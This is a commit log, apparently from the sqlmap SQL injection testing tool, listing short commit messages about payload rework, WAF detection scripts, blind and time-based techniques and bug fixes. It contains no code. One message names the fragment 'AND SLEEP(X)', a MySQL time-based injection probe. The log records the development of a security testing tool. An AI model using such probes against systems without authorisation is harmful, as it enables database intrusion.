Miroslav Stampar 03f32ae2b6 Merge of an Issue #1227 2015-04-22 17:21:55 +02:00
Miroslav Stampar a94dcf94e9 Patch for an Issue #1226đ 2015-04-22 16:41:20 +02:00
Miroslav Stampar bb98894dc1 Adding option --safe-req 2015-04-22 16:28:54 +02:00
Miroslav Stampar 4ded9a9966 Small patch for existing option validation 2015-04-22 15:32:14 +02:00
Miroslav Stampar 77c96de4ea Minor patch related to the last commit 2015-04-22 10:33:22 +02:00
Miroslav Stampar 95b52a02ec Minor patch for custom injection into HTTP Authorization header 2015-04-22 10:28:16 +02:00
Miroslav Stampar c5138d4696 Minor refactoring 2015-04-21 00:02:47 +02:00
Miroslav Stampar 349dfbf2ae Adding an option --safe-post 2015-04-20 23:55:59 +02:00
Miroslav Stampar 7517db76d1 Minor fix for SQLite's schema parsing 2015-04-16 18:40:43 +02:00
Miroslav Stampar dbfa8f1cfc Fix for a bug reported by the user (conf.scheme/conf.hostname/conf.port were None in multiple targets mode) 2015-04-14 11:05:17 +02:00
Miroslav Stampar 0e4800f73c Changing default answer for sitemap checking to N 2015-04-14 09:30:01 +02:00
Miroslav Stampar 1e7f2d6da2 Implements #1215 2015-04-06 22:07:22 +02:00
Miroslav Stampar 26bec7219d Update for an Issue #1184 2015-03-31 07:33:50 +02:00
Miroslav Stampar c35fa63a48 Fixes #1212 2015-03-30 11:58:09 +02:00
Miroslav Stampar 99c1cc9937 Fixes #1208 2015-03-26 17:17:46 +01:00
Miroslav Stampar a19bccc84f Fixes #1205 2015-03-26 15:31:29 +01:00
Miroslav Stampar 770cfb6102 Removing test print 2015-03-26 15:20:54 +01:00
Miroslav Stampar fc0186e029 Minor update 2015-03-26 12:39:44 +01:00
Miroslav Stampar 5dfd3ef1e4 Another update 2015-03-26 12:25:32 +01:00
Miroslav Stampar 3be7a447a5 Update 2015-03-26 12:22:49 +01:00
Miroslav Stampar e3130c1ba1 Implements #1207 2015-03-26 11:57:51 +01:00
Miroslav Stampar 7587528ebd Fixes #1202 2015-03-26 11:40:19 +01:00
Miroslav Stampar 7b2c27fa8d One more update for #1200 (better implementation) 2015-03-26 01:22:16 +01:00
Miroslav Stampar ac74184422 Fixes #1200 2015-03-25 23:43:48 +01:00
ricterz bbfdb02a0e fix mandatorily depend of websocket #1198 2015-03-24 22:25:16 +08:00
ricterz 811f5c11c6 remove Host header field and add cookie support #1198 2015-03-24 18:50:57 +08:00
ricterz 9b5dcbbbb2 modified error handle #1198 2015-03-24 18:21:50 +08:00
ricterz 78dbe080d7 determine whether it's websocket when connect #1198 2015-03-24 17:19:37 +08:00
ricterz 50fd6ce7f7 add websocket support for parse url #1198 2015-03-24 10:30:38 +08:00
Miroslav Stampar 05a496c275 Fixes #1196 2015-03-20 00:56:52 +01:00
Bernardo Damele 9eb7a0a0f2 enhanced time-based payloads - issue #1169 2015-03-19 12:09:43 +00:00
Bernardo Damele 43f6cb1508 some more boundaries 2015-03-19 12:07:26 +00:00
Bernardo Damele 204ee1db39 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2015-03-19 12:06:36 +00:00
Miroslav Stampar f5df80527c Fixes #1195 2015-03-18 14:26:51 +01:00
Bernardo Damele 865c3852ea Merge branch 'master' of github.com:sqlmapproject/sqlmap 2015-03-16 09:00:59 +00:00
Miroslav Stampar 25b23750e8 Bug fix for crawling over non-80 port 2015-03-12 11:49:52 +01:00
Bernardo Damele 0a0c3edf06 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2015-03-10 09:25:54 +00:00
Miroslav Stampar adc8ac267d Fixes #1190 2015-03-10 09:23:26 +01:00
Miroslav Stampar 9bd41ed99d Fixes #1189 2015-03-09 22:02:20 +01:00
Bernardo Damele 2bdf121915 cleanup 2015-03-04 13:36:09 +00:00
Miroslav Stampar 02fb5058c2 Merge pull request #1186 from cvwillegen/master
Fix some spelling errors in help texts (through -> thorough)
2015-03-04 13:57:06 +01:00
Christ van Willegen 80fb2e29cc Fix some spelling errors in help texts (through -> thorough) 2015-03-04 13:31:29 +01:00
Bernardo Damele A. G. b2fca35c36 consolidated some time-based blind payloads - issue #1169 2015-03-03 14:22:20 +00:00
Bernardo Damele e13bbe2e87 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2015-03-03 14:19:48 +00:00
Bernardo Damele 37ca0a95f1 consolidated stacked queries payloads - issue #1169 2015-03-03 14:19:36 +00:00
Bernardo Damele 849ca3da3d added a newline 2015-03-03 14:18:53 +00:00
Miroslav Stampar 3347fc25ca Fixes #1185 2015-03-03 15:10:06 +01:00
Miroslav Stampar 3f6c3b40dd Minor update (not overriding user given 'Accept-Encoding' header value) 2015-03-03 14:37:36 +01:00
Bernardo Damele 8281fe48e5 bug fix: test for boundaries with high levels if the test was extended 2015-03-01 11:02:05 +00:00
Bernardo Damele 260643241a prioritized fingerprinted DBMS to error-based and user provided one 2015-02-27 14:19:30 +00:00
Bernardo Damele 2f08c8b666 bug fix: do not skil heuristic check if previous page (test for dynamicity) had DBMS message. Code cleanup 2015-02-27 13:57:28 +00:00
Miroslav Stampar ee11292f87 Update of doc/THANKS 2015-02-25 10:33:54 +01:00
Miroslav Stampar 33429f443c Minor update 2015-02-25 10:31:27 +01:00
Miroslav Stampar dde400ab8f More suitable version of 6bcc95a (suggested by user) 2015-02-25 10:19:51 +01:00
Miroslav Stampar b74edf9664 Fixes #1175 2015-02-25 10:16:01 +01:00
Miroslav Stampar 6bcc95a20d Restricting evaluated code variable names to Python valid characters ([_0-9a-zA-Z]) 2015-02-24 15:05:44 +01:00
Miroslav Stampar e35c7fbb7a Fixes #1172 2015-02-22 13:41:54 +01:00
Bernardo Damele 475cc8b24b trivial code cleanup 2015-02-21 13:12:30 +00:00
Bernardo Damele 383929c0c2 if the user forces the DBMS, then sort the tests accordingly to perform first the DBMS-specific tests, then the others 2015-02-21 13:12:03 +00:00
Bernardo Damele d235ee375b code cleanup 2015-02-21 12:59:44 +00:00
Bernardo Damele 8be24d3e9b minor enhancement, prefer intersect() each time DBMS values are comfronted 2015-02-21 12:59:27 +00:00
Bernardo Damele 388c0dfd77 trivial layout fix 2015-02-21 12:57:49 +00:00
Bernardo Damele 21c1ae427b swapped generic and MySQL-specific UNION payloads - issue #1169 2015-02-21 12:57:28 +00:00
Bernardo Damele ef9d4b58ae minor signature for PHP pgsql functions 2015-02-21 02:24:03 +00:00
Bernardo Damele 52dd92748a rework some of the logic of the detection phase based on identified DBMS along the way 2015-02-21 02:23:42 +00:00
Bernardo Damele 4f939b5719 avoid false positive message when extensive heuristic check is performed following detection of boolean blind injection detection: do only heuristic DBMS fingerprint for DBMS specific tables 2015-02-20 18:36:34 +00:00
Bernardo Damele 4bbf168b18 Minor titles fix 2015-02-20 18:35:13 +00:00
Bernardo Damele ab6cc271d3 Major consistency rework of error-based payloads - issue #1169 2015-02-20 18:34:47 +00:00
Bernardo Damele 9fed41ddc2 Major consistency rework of boolean payloads - issue #1169 2015-02-20 18:34:23 +00:00
Bernardo Damele 2d886011c8 Consistency in enums 2015-02-20 18:33:04 +00:00
Bernardo Damele 1ecb921ba7 Consistency in enums 2015-02-20 18:31:47 +00:00
Bernardo Damele 214b9360e9 Minor fix to check for inline query payloads regardless of previously identified payloads and code cleanup 2015-02-20 18:30:42 +00:00
Bernardo Damele 3b3205c532 Minor stacked queries and time-based payloads cleanup - issue #1169 2015-02-20 15:44:06 +00:00
Bernardo Damele 79d4d970a5 trivial code cleanup 2015-02-20 15:42:28 +00:00
Bernardo Damele 5b65d2e133 more consistency of boolean blind payloads - issue #1169 2015-02-20 11:34:16 +00:00
Bernardo Damele 201b605f9b Minor fix and consistency: do not ask to include all tests if level and risk are at the max settings already 2015-02-20 10:21:44 +00:00
Bernardo Damele f547a776d8 consolidating blind based payloads - issue #1169 2015-02-19 16:42:26 +00:00
Bernardo Damele 4195f770a3 removing one unnecessary character from stacked payloads 2015-02-19 16:41:55 +00:00
Bernardo Damele 1e9586c90b minor layout fix 2015-02-19 16:18:16 +00:00
Bernardo Damele 6cc092b926 split payloads in different files 2015-02-18 10:13:44 +00:00
Bernardo Damele daa8e0d8c5 minor fix 2015-02-18 10:13:28 +00:00
Bernardo Damele 560bc7cc28 minor fixes 2015-02-18 09:51:07 +00:00
Bernardo Damele c51ecf33f3 ported the recent MySQL time-based payload (introduced with 66c2a79397) to other techniques and conditions 2015-02-18 09:45:44 +00:00
Miroslav Stampar 1636088b75 Minor update 2015-02-16 11:48:53 +01:00
Bernardo Damele 32373996ee standard message 2015-02-15 20:53:40 +00:00
Bernardo Damele e17d212c23 bug fix introduced with 863d5a6281 2015-02-15 20:07:52 +00:00
Bernardo Damele 84349a370a minor code cleanup 2015-02-15 19:51:07 +00:00
Bernardo Damele 32ab52b8ca code refactoring: split boundaries and payloads XML files 2015-02-15 16:31:35 +00:00
Bernardo Damele 863d5a6281 --test-filter now ignores values of --risk and --level 2015-02-15 16:28:37 +00:00
Miroslav Stampar 2e5c11e427 Closes #1163 2015-02-13 10:59:03 +01:00
Miroslav Stampar b1d13d1e7d Patch for an Issue #1158 2015-02-06 09:05:41 +01:00
Miroslav Stampar 247384858e Patch for an Issue #1159 (undo commit with single-quotes problem on windows) 2015-02-04 16:21:21 +01:00
Miroslav Stampar 38011743bb Patch for an Issue #1157 2015-02-04 15:01:19 +01:00
Bernardo Damele 66c2a79397 added a time-based payload for MySQL when the simpler AND SLEEP(X) does not work 2015-02-03 15:14:41 +00:00
Miroslav Stampar eecc0b924b Patch for an Issue #1148 2015-02-03 10:06:00 +01:00
Miroslav Stampar 2af2aef43e Minor patch for masking sensitive information (when formation -u=... is used) 2015-02-03 09:48:05 +01:00
Miroslav Stampar 59f0da369d Patch for a bug reported via ML (Accept header ignored in --headers) 2015-02-02 22:07:16 +01:00
Miroslav Stampar 8b135e45bd Patch for an Issue #1147 2015-02-02 22:05:31 +01:00
Miroslav Stampar bf1c08a8a6 Bug fix 2015-01-30 22:43:40 +01:00
Miroslav Stampar 2e9bf47703 Heuristic check for WAF/IDS/IPS is now prone to tamper functions (Issue #1145) 2015-01-30 22:12:35 +01:00
Miroslav Stampar 9e90e357cf Patch for an Issue #1146 2015-01-30 21:59:03 +01:00
Miroslav Stampar 9563e429d3 Removal of fun code 2015-01-30 21:49:22 +01:00
Miroslav Stampar 9f679a952f Minor update 2015-01-29 10:44:36 +01:00
Miroslav Stampar 024c500d8e Minor fix 2015-01-28 00:54:39 +01:00
Miroslav Stampar 5400bb2c95 Patch for an Issue #1142 2015-01-28 00:52:40 +01:00
Miroslav Stampar fd632e5ada Update for unhandled exception mechanism (BADA) 2015-01-26 09:09:38 +01:00
Miroslav Stampar eb548959b3 Minor update 2015-01-26 08:59:10 +01:00
Miroslav Stampar f0eac38ab4 Minor fix 2015-01-26 08:48:37 +01:00
Miroslav Stampar ae95fd91c2 Implementation for an Issue #1135 2015-01-24 23:49:33 +01:00
Miroslav Stampar 32bf2dbe6d Patch for an Issue #1133 2015-01-23 23:00:28 +01:00
Miroslav Stampar 779db7cbc3 Minor enhancement 2015-01-22 09:17:45 +01:00
Miroslav Stampar b7cfaa6ca5 Minor style update 2015-01-22 08:55:37 +01:00
Miroslav Stampar 2655b078d0 Patch for an Issue #1127 2015-01-22 08:52:15 +01:00
Miroslav Stampar 02b3eb941f Patch for an Issue #1124 2015-01-21 09:26:30 +01:00
Miroslav Stampar cd743ab098 Minor update 2015-01-21 09:12:12 +01:00
Miroslav Stampar 9f4a32ca2b Automatically checking for sitemap existence in case of --crawl 2015-01-20 10:03:35 +01:00
Miroslav Stampar a603002acd Adding a choice to automatically turn on --identify-waf if protection has been detected 2015-01-20 09:38:18 +01:00
Miroslav Stampar a66b0c91bb Patch for an Issue #1120 2015-01-19 09:19:30 +01:00
Miroslav Stampar 393659ffbf Patch for an Issue #1121 2015-01-19 09:17:16 +01:00
Miroslav Stampar e73ac6c8e3 Minor patch on request of an user 2015-01-17 21:47:57 +01:00
Miroslav Stampar c2b2ccd2b5 Minor bug fix 2015-01-17 17:31:00 +01:00
Miroslav Stampar da737d23ed Fixing a leftover for #1117 2015-01-15 17:34:14 +01:00
Miroslav Stampar 20a9d94f56 Patch for an Issue #1117 2015-01-15 17:32:07 +01:00
Miroslav Stampar 1dd2b7aceb Important fix for dumping location of databases/tables with international letters 2015-01-15 14:01:19 +01:00
Miroslav Stampar ccbe424e23 Patch for an Issue #1115 2015-01-15 12:42:32 +01:00
Miroslav Stampar 54e9a1fb2d Minor style update 2015-01-14 16:11:55 +01:00
Miroslav Stampar 570d30789b Patch for an Issue #1113 2015-01-14 14:20:33 +01:00
Miroslav Stampar c8787e0404 Merge pull request #1112 from all3g/master
datatype.py
2015-01-14 11:53:46 +01:00
nixawk 7388c3bf49 datatype.py 2015-01-14 09:40:24 +00:00
Miroslav Stampar 7e7513aa5e Patch for an Issue #1107 2015-01-14 05:30:08 +01:00
Miroslav Stampar f9a9ededb1 Patch for an Issue #1106 2015-01-14 05:16:32 +01:00
Miroslav Stampar 06ff8b3a16 Patch for an Issue #1105 2015-01-13 10:33:51 +01:00
Miroslav Stampar 8e03f4db0f Patch for an Issue #1062 2015-01-09 15:33:53 +01:00
Miroslav Stampar f96f33a984 Fix for an Issue #1100 2015-01-08 22:15:04 +01:00
Miroslav Stampar 7bcb3ce599 Patch for an Issue #1099 2015-01-08 09:22:47 +01:00
Miroslav Stampar 0c4d63fb00 Bug fix (reported by user over ML) 2015-01-08 09:00:21 +01:00
Miroslav Stampar c8d4df6eba Adding names to parameters in structured POST requests (e.g. JSON) 2015-01-07 22:09:40 +01:00
Miroslav Stampar 49982bce9c Trivial update 2015-01-07 16:03:37 +01:00
Miroslav Stampar 450b3c93cb Potential patch for an Issue #1093 2015-01-07 11:40:11 +01:00
Miroslav Stampar 30b9f3d556 Minor update 2015-01-07 10:53:57 +01:00
Miroslav Stampar 47af7dfe6a Another minor patch 2015-01-07 10:49:15 +01:00
Miroslav Stampar 83add9fd9b Minor patch 2015-01-07 10:46:06 +01:00
Miroslav Stampar c4c4ac13fe Better patch for an Issue #1095 2015-01-07 09:21:02 +01:00
Miroslav Stampar 2030311d50 Patch for an Issue #1095 2015-01-07 02:04:10 +01:00
Miroslav Stampar 5920d16cf6 Adding a warning message for deprecated switch '--check-waf+ 2015-01-06 15:25:24 +01:00
Miroslav Stampar 45bdefd29b Update of copyright 2015-01-06 15:02:16 +01:00
Miroslav Stampar e976418d28 Minor patch 2015-01-06 14:58:05 +01:00
Miroslav Stampar e41591c9c1 Adding new WAF script 2015-01-06 14:53:16 +01:00
Miroslav Stampar 8e680fb271 Minor update 2015-01-06 14:49:50 +01:00
Miroslav Stampar cef5530255 Minor update 2015-01-06 14:41:19 +01:00
Miroslav Stampar 3d5ca1b25a Minor update 2015-01-06 14:36:51 +01:00
Miroslav Stampar abd429d48b New waf script added 2015-01-06 14:11:53 +01:00
Miroslav Stampar 6fc41ca940 Heuristically checking for WAF/IDS/IPS by default 2015-01-06 14:01:47 +01:00
Miroslav Stampar cd7d9edcbe New waf file 2015-01-06 13:21:52 +01:00
Miroslav Stampar c474c16b4a Removing ML email address 2015-01-06 12:30:49 +01:00
Miroslav Stampar 7b144f03ea Fix for an Issue #1092 2015-01-05 01:31:06 +01:00
Miroslav Stampar beffe85d6c Patch for an Issue #1085 2015-01-03 22:30:21 +01:00
Miroslav Stampar f042a7392d Patch for an Issue #1083 2014-12-31 17:10:45 +01:00
Miroslav Stampar 2985050fce Minor patch 2014-12-30 16:07:08 +00:00
Miroslav Stampar 33508e3bae Patch for an Issue #1077 2014-12-30 16:11:33 +01:00
Miroslav Stampar 41c2f889b2 Fix related to the SSLv3 disabling 2014-12-30 15:44:55 +01:00
Miroslav Stampar d3c6cf1932 Patch for an Issue #1079 2014-12-30 14:14:47 +00:00
Miroslav Stampar 4f602daa5b Minor patch 2014-12-30 09:35:56 +00:00
Miroslav Stampar e383df8e29 Patch for an Issue #1073 2014-12-30 09:16:50 +00:00
Miroslav Stampar e2edebd406 Patch for an Issue #1069 2014-12-30 09:04:41 +00:00
Miroslav Stampar 02d20ccd13 Patch for an Issue #1078 2014-12-30 08:48:50 +00:00
Miroslav Stampar 1e014de6be Patch for an Issue #1066 2014-12-26 22:24:28 +01:00
Miroslav Stampar bc91884c4d Fix for an Issue #1065 2014-12-25 23:05:34 +01:00
Miroslav Stampar 45886cb9ca Patch for an Issue #1060 2014-12-23 22:04:23 +01:00
Miroslav Stampar 483158c371 Minor style update 2014-12-23 09:07:33 +01:00
Miroslav Stampar 3c23d616e7 Adding a more user friendly (copy-pastable) client example for sqlmapapi client 2014-12-23 09:01:29 +01:00
Miroslav Stampar 59a3407322 Patch for an Issue #1057 2014-12-23 08:36:00 +01:00
Miroslav Stampar f93bca4564 Patch for an Issue #1058 2014-12-23 08:23:40 +01:00
Miroslav Stampar fc7dd2a9b9 Patch for an Issue #1056 2014-12-22 06:02:39 +01:00
Miroslav Stampar 3056fd4765 Fix for an Issue #1055 2014-12-22 05:56:48 +01:00
Miroslav Stampar 76f79ece13 run like --threads=20! will skip the maximum number of threads check 2014-12-21 05:15:42 +01:00
Miroslav Stampar 4f122ee008 Bug fix regarding a problem reported by user @blink2014 2014-12-20 00:23:31 +01:00
Miroslav Stampar 6cb76bcf85 Adding one new smart ass warning message 2014-12-19 15:48:54 +01:00
Miroslav Stampar 1ea2f5bfe2 Patch for an Issue #1052 2014-12-19 09:37:06 +01:00
Miroslav Stampar cf3b02ee04 Proper fix for #1053 2014-12-19 09:26:01 +01:00
Miroslav Stampar 6972020faf Bug fix for login-like SQLi (OR with 500 result) 2014-12-18 15:58:19 +01:00
Miroslav Stampar 0b91a6098f Patch for an Issue #1050 2014-12-18 15:13:44 +01:00
Miroslav Stampar 8947f2df96 Patch for an Issue #1047 2014-12-17 23:07:27 +01:00
Miroslav Stampar 0cb7852754 Patch for an Issue #1046 2014-12-17 10:02:36 +01:00
Miroslav Stampar 180ede0cb3 Minor patch 2014-12-15 14:07:28 +01:00
Miroslav Stampar 9d06b71862 Minor revert 2014-12-15 13:51:00 +01:00
Miroslav Stampar e6de92ce88 Minor patch (unicode related) 2014-12-15 13:36:08 +01:00
Miroslav Stampar 35c8e016a8 Minor patch 2014-12-15 13:26:15 +01:00
Miroslav Stampar 3f3a873b10 Merge pull request #1037 from flsf/master
fix comments error
2014-12-15 13:23:39 +01:00
flsf 21837f236f fix comments error 2014-12-15 20:07:38 +08:00
Miroslav Stampar c2f42214a3 Merge pull request #1033 from flsf/master
Update company name in parenthesis
2014-12-15 10:35:21 +01:00
flsf 872902b1c9 Update company name in parenthesis 2014-12-15 17:29:59 +08:00
Miroslav Stampar f73204fffb Update for an Issue #1029 2014-12-15 10:15:31 +01:00
Miroslav Stampar 8a2f281613 Merge pull request #1029 from flsf/master
add some waf scripts
2014-12-15 09:39:51 +01:00
Miroslav Stampar 4c6331daa6 Patch for an Issue #1028 2014-12-15 09:30:54 +01:00
Miroslav Stampar e794c7f246 Patch for an Issue #1027 2014-12-15 09:13:13 +01:00
Miroslav Stampar eb15a19532 Patch for an Issue #1032 2014-12-15 09:11:40 +01:00
Miroslav Stampar ecbba4ea20 Patch for an Issue #1030 2014-12-15 07:18:47 +01:00
flsf a56dcc1dc3 Adding new WAF script (safedog) 2014-12-15 03:23:06 +08:00
flsf b90bbe18c8 Adding new WAF script (Baidu yunjiasu) 2014-12-15 03:19:23 +08:00
flsf 9d93180153 Adding new WAF script (Anquanbao) 2014-12-15 03:14:16 +08:00
flsf e946315736 Adding new WAF script (360) 2014-12-15 03:12:53 +08:00
flsf c995c5252f Update of jiasule.py WAF script 2014-12-15 03:08:39 +08:00
Miroslav Stampar e17e703e3e Minor bug fix (for Windows nagging message about Unicode data) 2014-12-14 00:17:43 +01:00
Miroslav Stampar fb645b90f7 Minor update 2014-12-14 00:14:18 +01:00
Miroslav Stampar 87f8753483 Fixing a problem with AV detection 2014-12-14 00:10:43 +01:00
Miroslav Stampar b42a15d876 Minor patch related to the Issue #1025 2014-12-13 23:37:04 +01:00
Miroslav Stampar 5166675ff5 Patch for an Issue #1024 2014-12-13 23:32:18 +01:00
Miroslav Stampar 9c225557d1 Patch for an Issue #1020 2014-12-13 14:08:37 +01:00
Miroslav Stampar 25196b4572 Patch for an Issue #1021 2014-12-13 13:48:50 +01:00
Miroslav Stampar 84ba5f35ac Minor update for #1022 2014-12-13 13:41:39 +01:00
Miroslav Stampar fe58aff26c Patch for an Issue #1019 2014-12-13 00:08:18 +01:00
Miroslav Stampar 650dfe9526 Patch for an Issue #1018 2014-12-12 14:54:47 +01:00
Miroslav Stampar 23d33bb5b5 Patch for an Issue #1017 2014-12-12 09:58:42 +01:00
Miroslav Stampar bb4ac41ff7 Patch for an Issue #1016 2014-12-12 04:40:44 +01:00
Miroslav Stampar 785e3d0317 Patch for an Issue #1014 2014-12-11 13:29:42 +01:00
Miroslav Stampar 1e06e7c386 Adding a debug message during name resolution 2014-12-11 13:29:26 +01:00
Miroslav Stampar 6f211f9d3e Patch for an Issue #1013 2014-12-11 00:35:51 +01:00
Miroslav Stampar 6d13b67822 Patch for an Issue #1012 2014-12-11 00:32:26 +01:00
Miroslav Stampar 2bcaae3a0b Another just in case update for an Issue #1011 2014-12-11 00:14:35 +01:00
Miroslav Stampar 763f720675 Patch for an Issue #1011 2014-12-11 00:11:52 +01:00
Miroslav Stampar 10ed97b0df Patch for an Issue #1010 2014-12-10 13:50:29 +01:00
Miroslav Stampar ee20d98bca Minor fix for --forms 2014-12-10 12:13:37 +01:00
Miroslav Stampar d700e50b36 Minor update related to the Issue #993 2014-12-10 06:37:17 +01:00
Miroslav Stampar a7b21a2f62 Rerun advice update 2014-12-09 09:02:06 +01:00
Miroslav Stampar 20c272b77d More generic patch for an Issue #994 2014-12-07 16:14:48 +01:00
Miroslav Stampar 4e7f835eae Patch for an Issue #994 2014-12-07 16:11:07 +01:00
Miroslav Stampar 0d931a7b09 Fix for an Issue #999 2014-12-07 15:55:22 +01:00
Miroslav Stampar 4325f21b58 Update for an Issue #996 2014-12-07 07:48:46 +01:00
Miroslav Stampar ff0dd8eefe Patch for an Issue #997 2014-12-06 21:40:52 +01:00
Miroslav Stampar bd99470a4a Minor update to cleanup properly new xp_cmdshell 2014-12-05 22:01:59 +01:00
Miroslav Stampar d726050bc4 Patch for an Issue #991 2014-12-05 11:46:03 +01:00
Miroslav Stampar 034fae0f47 Patch for an Issue #992 2014-12-05 11:24:43 +01:00
Miroslav Stampar 7673f3e045 Minor style update 2014-12-05 11:15:33 +01:00
Miroslav Stampar 56965e3608 Patch for an Issue #990 2014-12-04 13:36:41 +01:00
Miroslav Stampar 9b32e69f26 Adding new WAF script (UrlScan) 2014-12-04 10:06:15 +01:00
Miroslav Stampar a3507d65fd Minor update 2014-12-04 09:34:37 +01:00
Miroslav Stampar d3060f20d7 Minor improvement 2014-12-03 13:22:55 +01:00
Miroslav Stampar aa95a05477 Minor update 2014-12-03 13:14:06 +01:00
Miroslav Stampar 17db587e2c Adding some friendly warning messages (regarding blocking) 2014-12-03 10:06:21 +01:00
Miroslav Stampar 821e4bf507 Patch for an Issue #987 2014-12-03 08:46:02 +01:00
Miroslav Stampar e4b00bdbcb Patch for an Issue #983 2014-12-02 10:57:50 +01:00
Miroslav Stampar 2358e34bb8 Minor refactoring 2014-12-02 10:50:15 +01:00
Miroslav Stampar 636e0588d5 Patch for an Issue #981 2014-12-02 10:29:09 +01:00
Miroslav Stampar e03aaa7542 Patch for an Issue #982 2014-12-02 10:23:10 +01:00
Miroslav Stampar 7a04595f5e Added a reference url (http charset priority) 2014-12-01 11:15:45 +01:00
Miroslav Stampar f71a65a9a0 Patch for an Issue #979 2014-12-01 00:29:25 +01:00
Miroslav Stampar 56b6bf72f4 Patch for an Issue #978 2014-11-29 23:33:24 +01:00
Miroslav Stampar ab49fe6a39 New WAF script 2014-11-28 15:00:39 +01:00
Miroslav Stampar f47b493a24 Minor update 2014-11-28 14:10:31 +01:00
Miroslav Stampar 2115fc1491 New WAF script 2014-11-28 14:03:53 +01:00
Miroslav Stampar e8673b9acc Update of modsecurity.py WAF script 2014-11-28 13:32:41 +01:00
Miroslav Stampar 0c99b79c60 Minor fix 2014-11-28 00:54:03 +01:00
Miroslav Stampar 605b126758 Patch for an Issue #976 2014-11-26 13:38:21 +01:00
Miroslav Stampar 8cd40f8917 Patch for an Issue #971 2014-11-25 13:54:26 +01:00
Miroslav Stampar a0d95a8ec4 Refactoring of #952 2014-11-24 12:56:39 +01:00
Miroslav Stampar 27cd9e7064 Merge pull request #952 from Rexikon/patch-1
Update httpshandler.py, AttributeError PROTOCOL_SSLv3
2014-11-24 12:52:27 +01:00
Miroslav Stampar 816348f1ab Patch for an Issue #963 2014-11-24 11:54:04 +01:00
Miroslav Stampar 05f7b1f121 Patch for an Issue #970 2014-11-24 10:55:19 +01:00
Miroslav Stampar 2f744139fc Patch for an Issue #968 2014-11-24 10:13:56 +01:00
Miroslav Stampar 2284535267 Update for an Issue #963 2014-11-24 05:44:38 +01:00
Miroslav Stampar 69cdad4148 Patch for an Issue #958 2014-11-23 15:55:12 +01:00
Miroslav Stampar 28d6af6237 Minor update 2014-11-23 15:42:41 +01:00
Miroslav Stampar f853f8973f Minor refactorign 2014-11-23 15:41:24 +01:00
Miroslav Stampar 080a873922 Patch for an Issue #964 2014-11-23 15:39:08 +01:00
Miroslav Stampar 40eb1973d7 Patch for an Issue #961 2014-11-23 15:33:04 +01:00
Miroslav Stampar 5c182a0ec4 Update for an Issue #431 2014-11-21 11:33:57 +01:00
Miroslav Stampar f0802c6fb9 Update for an Issue #431 2014-11-21 11:20:54 +01:00
Miroslav Stampar 1fc4d0e3c4 Update for an Issue #431 2014-11-21 10:31:55 +01:00
Miroslav Stampar cf2d5fd453 Update for an Issue #431 2014-11-21 09:41:49 +01:00
Miroslav Stampar 34ce774acd Patch for an Issue #956 2014-11-21 09:41:49 +01:00
Miroslav Stampar 1a8b58fca6 Minor update 2014-11-20 16:42:06 +01:00
Miroslav Stampar f8a8cbf9a6 Storing crawling results to a temporary file (for eventual further processing) 2014-11-20 16:29:17 +01:00
Miroslav Stampar d3551631c4 Minor update 2014-11-20 16:10:25 +01:00
Miroslav Stampar 484fa61afc Patch for an Issue #954 2014-11-20 15:08:08 +01:00
Miroslav Stampar ee8b3ee664 Patch for an Issue #953 2014-11-20 09:49:04 +01:00
Rexikon 4da20679ee Update httpshandler.py
ssl.PROTOCOL_SSLv3 removed
affecting error: AttributeError: 'module' object has no attribute 'PROTOCOL_SSLv3'
2014-11-19 16:36:30 +01:00
Miroslav Stampar 80b9fc4821 Minor fix 2014-11-19 09:21:52 +01:00
Miroslav Stampar 05d5342f20 Update and patch for an Issue #2 2014-11-17 11:50:05 +01:00
Miroslav Stampar 733e06e31f Patch for an Issue #944 2014-11-16 14:25:44 +01:00
Miroslav Stampar bb56eb583a Minor update 2014-11-16 13:34:35 +01:00
Miroslav Stampar a827453eb7 Update for an Issue #907 2014-11-16 08:31:01 +01:00
Miroslav Stampar d8d9678947 Patch for an Issue #935 2014-11-14 00:21:04 +01:00
Miroslav Stampar 74eacf95fd Patch for an Issue #929 2014-11-13 10:52:33 +01:00
Miroslav Stampar 671facc6d9 Patch for an Issue #930 2014-11-13 10:28:38 +01:00
Miroslav Stampar d0afa7f325 Bug fix for not displaying proper version in unhandled exception win cases 2014-11-12 11:53:42 +01:00
Miroslav Stampar c98bd521c5 Patch for an Issue #923 2014-11-11 11:53:51 +01:00
Miroslav Stampar 06e6d2aaeb Patch for an Issue #921 2014-11-11 11:38:14 +01:00
Miroslav Stampar c5df45a14f Minor bug fix (skipping HTML decoding in heuristic mode) 2014-11-11 11:23:14 +01:00
Miroslav Stampar dfa8e0456d Potential patch for an Issue #914 2014-11-10 14:51:31 +01:00
Miroslav Stampar cdbfb17408 Patch for an Issue #919 2014-11-10 13:41:53 +01:00
Miroslav Stampar 06bb957d13 Preventing a run of duplicate issues 2014-11-09 22:07:11 +01:00
Miroslav Stampar de1cf26fe6 Minor patch 2014-11-09 18:58:25 +01:00
Miroslav Stampar 80af465ce3 Fix for an Issue #911 2014-11-09 18:40:49 +01:00
Miroslav Stampar 9fe6ab749b Bug fix for occureance of ANSI color codes in multiprocessing hash cracking on Windows OS 2014-11-09 15:08:44 +01:00
Miroslav Stampar 62a73bf30b Minor fix for automatic removal of temporary files 2014-11-09 14:52:50 +01:00
Miroslav Stampar d400dc27f2 Patch for an Issue #907 2014-11-08 21:54:34 +01:00
Miroslav Stampar 5e9c73f9c1 Just in case update (for unhandled exceptions happening too soon) 2014-11-08 21:44:46 +01:00
Miroslav Stampar 3b06665c9f Patch for an Issue #910 2014-11-08 21:22:03 +01:00
Miroslav Stampar 8fdf9ff746 Probable fix for an Issue #908 2014-11-07 15:47:42 +01:00
Miroslav Stampar d087565051 Fix for Issues #905 and #906 2014-11-06 11:41:10 +01:00
Miroslav Stampar 31f8d6e612 Fix for an Issue #904 2014-11-06 11:19:05 +01:00
Miroslav Stampar a91fb4149b Minor update (using lower frequency alphabet for kb.chars) 2014-11-05 10:56:30 +01:00
Miroslav Stampar a074efe75e Minor improvement of error-based SQLi when trimmed output is detected (trying to reconstruct) 2014-11-05 10:46:11 +01:00
Miroslav Stampar 71c43be53a Patch for an Issue #901 2014-11-05 10:03:19 +01:00
Miroslav Stampar 78cc3853b6 Fix for an Issue #902 2014-11-05 09:56:50 +01:00
Miroslav Stampar 97cc679f9c Fix for an Issue #900 2014-11-04 15:15:58 +01:00
Miroslav Stampar 4d5b48b2ae Patch for an Issue #896 2014-11-04 00:34:35 +01:00
Miroslav Stampar 6f45596f28 Minor style update 2014-11-03 23:48:44 +01:00
